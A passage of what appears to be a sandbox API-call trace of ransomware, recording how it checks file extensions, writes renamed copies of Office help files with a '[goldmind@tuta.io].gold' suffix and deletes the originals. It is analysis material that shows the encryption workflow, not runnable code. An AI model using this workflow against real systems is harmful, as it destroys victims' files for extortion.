lpString2=".HXK") returned 1 [0107.741] lstrlenW (lpString=".rar") returned 4 [0107.741] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.741] lstrlenW (lpString=".bz2") returned 4 [0107.741] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.741] lstrlenW (lpString=".7z") returned 3 [0107.741] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString=".dbf") returned 4 [0107.741] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString=".1cd") returned 4 [0107.741] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.741] lstrlenW (lpString=".jpg") returned 4 [0107.741] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString=".doc") returned 4 [0107.742] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.742] lstrlenW (lpString=".docx") returned 5 [0107.742] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.742] lstrlenW (lpString=".pdf") returned 4 [0107.742] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString=".xls") returned 4 [0107.742] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString=".xlsx") returned 5 [0107.742] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.742] lstrlenW (lpString=".ppt") returned 4 [0107.742] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString=".zip") returned 4 [0107.742] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString=".rar") returned 4 [0107.742] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.742] lstrlenW (lpString=".bz2") returned 4 [0107.742] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.742] lstrlenW (lpString=".7z") returned 3 [0107.742] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString=".dbf") returned 4 [0107.742] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString=".1cd") returned 4 [0107.742] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK") returned 74 [0107.742] lstrlenW (lpString=".jpg") returned 4 [0107.742] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.742] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0107.742] lstrlenW (lpString="VISIO.SHAPESHEET_K_COL.HXK") returned 26 [0107.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.743] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=113) returned 1 [0107.743] CloseHandle (hObject=0x188) returned 1 [0107.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 0x20 [0107.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.743] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.743] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.744] GetLastError () returned 0x0 [0107.744] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x71, lpOverlapped=0x0) returned 1 [0107.745] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x80, lpOverlapped=0x0) returned 1 [0107.745] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.745] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x108, lpOverlapped=0x0) returned 1 [0107.745] SetEndOfFile (hFile=0x230) returned 1 [0107.746] CloseHandle (hObject=0x230) returned 1 [0107.746] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.746] SetEndOfFile (hFile=0x188) returned 1 [0107.748] CloseHandle (hObject=0x188) returned 1 [0107.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk")) returned 1 [0107.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.749] lstrlenW (lpString=".doc") returned 4 [0107.749] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.749] lstrlenW (lpString=".docx") returned 5 [0107.749] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.749] lstrlenW (lpString=".pdf") returned 4 [0107.749] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.749] lstrlenW (lpString=".xls") returned 4 [0107.749] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.749] lstrlenW (lpString=".xlsx") returned 5 [0107.749] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.749] lstrlenW (lpString=".ppt") returned 4 [0107.749] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.749] lstrlenW (lpString=".zip") returned 4 [0107.749] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.749] lstrlenW (lpString=".rar") returned 4 [0107.749] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.749] lstrlenW (lpString=".bz2") returned 4 [0107.749] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.749] lstrlenW (lpString=".7z") returned 3 [0107.750] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".dbf") returned 4 [0107.750] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".1cd") returned 4 [0107.750] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".jpg") returned 4 [0107.750] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".doc") returned 4 [0107.750] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString=".docx") returned 5 [0107.750] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0107.750] lstrlenW (lpString=".pdf") returned 4 [0107.750] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString=".xls") returned 4 [0107.750] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString=".xlsx") returned 5 [0107.750] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0107.750] lstrlenW (lpString=".ppt") returned 4 [0107.750] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".zip") returned 4 [0107.750] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString=".rar") returned 4 [0107.750] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0107.750] lstrlenW (lpString=".bz2") returned 4 [0107.750] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString=".7z") returned 3 [0107.750] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".dbf") returned 4 [0107.750] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".1cd") returned 4 [0107.750] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0107.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK") returned 74 [0107.750] lstrlenW (lpString=".jpg") returned 4 [0107.750] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0107.750] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0107.750] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0107.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.751] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=621) returned 1 [0107.751] CloseHandle (hObject=0x188) returned 1 [0107.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 0x20 [0107.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.751] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.751] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.752] GetLastError () returned 0x0 [0107.752] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x26d, lpOverlapped=0x0) returned 1 [0108.003] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x270, lpOverlapped=0x0) returned 1 [0108.004] ReadFile (in: hFile=0x188, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.004] WriteFile (in: hFile=0x230, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xee, lpOverlapped=0x0) returned 1 [0108.004] SetEndOfFile (hFile=0x230) returned 1 [0108.004] CloseHandle (hObject=0x230) returned 1 [0108.004] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.004] SetEndOfFile (hFile=0x188) returned 1 [0108.008] CloseHandle (hObject=0x188) returned 1 [0108.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 1 [0108.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.009] lstrlenW (lpString=".doc") returned 4 [0108.009] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.009] lstrlenW (lpString=".docx") returned 5 [0108.009] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.009] lstrlenW (lpString=".pdf") returned 4 [0108.010] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".xls") returned 4 [0108.010] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".xlsx") returned 5 [0108.010] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.010] lstrlenW (lpString=".ppt") returned 4 [0108.010] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".zip") returned 4 [0108.010] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".rar") returned 4 [0108.010] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".bz2") returned 4 [0108.010] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString=".7z") returned 3 [0108.010] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".dbf") returned 4 [0108.010] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".1cd") returned 4 [0108.010] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".jpg") returned 4 [0108.010] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".doc") returned 4 [0108.010] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString=".docx") returned 5 [0108.010] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0108.010] lstrlenW (lpString=".pdf") returned 4 [0108.010] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".xls") returned 4 [0108.010] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".xlsx") returned 5 [0108.010] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0108.010] lstrlenW (lpString=".ppt") returned 4 [0108.010] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".zip") returned 4 [0108.010] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".rar") returned 4 [0108.010] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0108.010] lstrlenW (lpString=".bz2") returned 4 [0108.010] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString=".7z") returned 3 [0108.010] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".dbf") returned 4 [0108.010] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".1cd") returned 4 [0108.010] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0108.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0108.010] lstrlenW (lpString=".jpg") returned 4 [0108.011] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0108.011] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0108.011] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0108.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.011] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2520158) returned 1 [0108.011] CloseHandle (hObject=0x188) returned 1 [0108.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0x20 [0108.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".doc") returned 4 [0108.012] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.012] lstrlenW (lpString=".docx") returned 5 [0108.012] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0108.012] lstrlenW (lpString=".pdf") returned 4 [0108.012] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".xls") returned 4 [0108.012] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".xlsx") returned 5 [0108.012] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0108.012] lstrlenW (lpString=".ppt") returned 4 [0108.012] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".zip") returned 4 [0108.012] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".rar") returned 4 [0108.012] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".bz2") returned 4 [0108.012] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.012] lstrlenW (lpString=".7z") returned 3 [0108.012] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".dbf") returned 4 [0108.012] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".1cd") returned 4 [0108.012] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".jpg") returned 4 [0108.012] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".doc") returned 4 [0108.012] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.012] lstrlenW (lpString=".docx") returned 5 [0108.012] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0108.012] lstrlenW (lpString=".pdf") returned 4 [0108.012] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".xls") returned 4 [0108.012] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".xlsx") returned 5 [0108.012] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0108.012] lstrlenW (lpString=".ppt") returned 4 [0108.012] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.012] lstrlenW (lpString=".zip") returned 4 [0108.012] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".rar") returned 4 [0108.012] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.012] lstrlenW (lpString=".bz2") returned 4 [0108.013] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.013] lstrlenW (lpString=".7z") returned 3 [0108.013] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.013] lstrlenW (lpString=".dbf") returned 4 [0108.013] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.013] lstrlenW (lpString=".1cd") returned 4 [0108.013] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0108.013] lstrlenW (lpString=".jpg") returned 4 [0108.013] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.013] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0108.013] lstrlenW 